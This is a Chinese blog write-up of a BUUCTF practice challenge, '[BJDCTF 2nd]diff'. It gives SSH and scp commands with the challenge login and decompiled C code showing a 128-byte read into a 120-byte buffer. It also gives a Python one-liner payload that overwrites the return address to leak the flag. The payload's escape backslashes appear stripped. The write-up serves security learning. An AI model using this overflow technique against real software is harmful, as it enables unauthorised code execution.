zoukankan      html  css  js  c++  java
  • CTF-Pwn-[BJDCTF 2nd]diff

    CTF-Pwn-[BJDCTF 2nd]diff

    博客说明

    文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

    CTP平台

    网址

    https://buuoj.cn/challenges

    题目

    Pwn类,[BJDCTF 2nd]diff

    image-20200506192308847

    使用ssh远程连接Username: ctf Password: guest

    思路

    远程连接

    ssh -p 29857 ctf@node3.buuoj.cn
    

    image-20200506193033058

    可以看到里面有一个文件diff,我们把它下载下来这里使用ssh协议的scp

    scp -P 28708 ctf@node3.buuoj.cn:/home/ctf/diff /home/tanglei/Desktop/ctf/
    

    image-20200507125049403

    接下来我们来分析这个源文件

    image-20200507125311410

    然后使用ida32位打开它

    image-20200507125449001

    注意到compare函数里面有个漏洞

    int __cdecl compare(int a1, int fd)
    {
      char v2; // al
      int v4; // [esp+0h] [ebp-80h]
      unsigned int i; // [esp+4h] [ebp-7Ch]
      char addr[120]; // [esp+8h] [ebp-78h]
    
      v4 = 0;
      JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
      JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
      for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
      {
        v2 = buf1[i];
        if ( v2 != addr[i] )
          return v4 + 1;
        if ( v2 == 10 )
          ++v4;
      }
      return 0;
    }
    
    

    里面addr长度为120,read读了128字节,很明显的栈溢出,有8个字节的溢出,buf1有可执行的权限,我们只要获取到buf1的地址并覆盖它,即可getshell

    payload

    看到网上的payload时这样写的

    python -c "print 'a'*120+'x5ex91x04x08x5ex91x04x08'" >flag2
    

    这个里面有python的命令,把payload写进第二个文件,就可以把flag爆出来,

    执行./diff flag /tmp/flag2

    完整命令
    cd /tmp
    /tmp$ python -c "print 'a'*120+'x5ex91x04x08x5ex91x04x08'" >flag2
    /tmp$ cd ~
    ./diff flag /tmp/flag2
    

    测试

    已经找到flag,不过好像少了个f,补上就好

    image-20200507130838468

    感谢

    BUUCTF

    以及勤劳的自己

    关注公众号: 归子莫,获取更多的资料,还有更长的学习计划

  • 相关阅读:
    mysql数据库存放路径
    mysql 5.5安装不对容易出现问题
    bean的scope属性
    spring四种依赖注入方式
    spring依赖注入(反转控制)
    Tomcat 安装错误
    synchronized详解
    git tag命令
    vjson.hpp
    cmake添加版本号
  • 原文地址:https://www.cnblogs.com/guizimo/p/12844968.html
Copyright © 2011-2022 走看看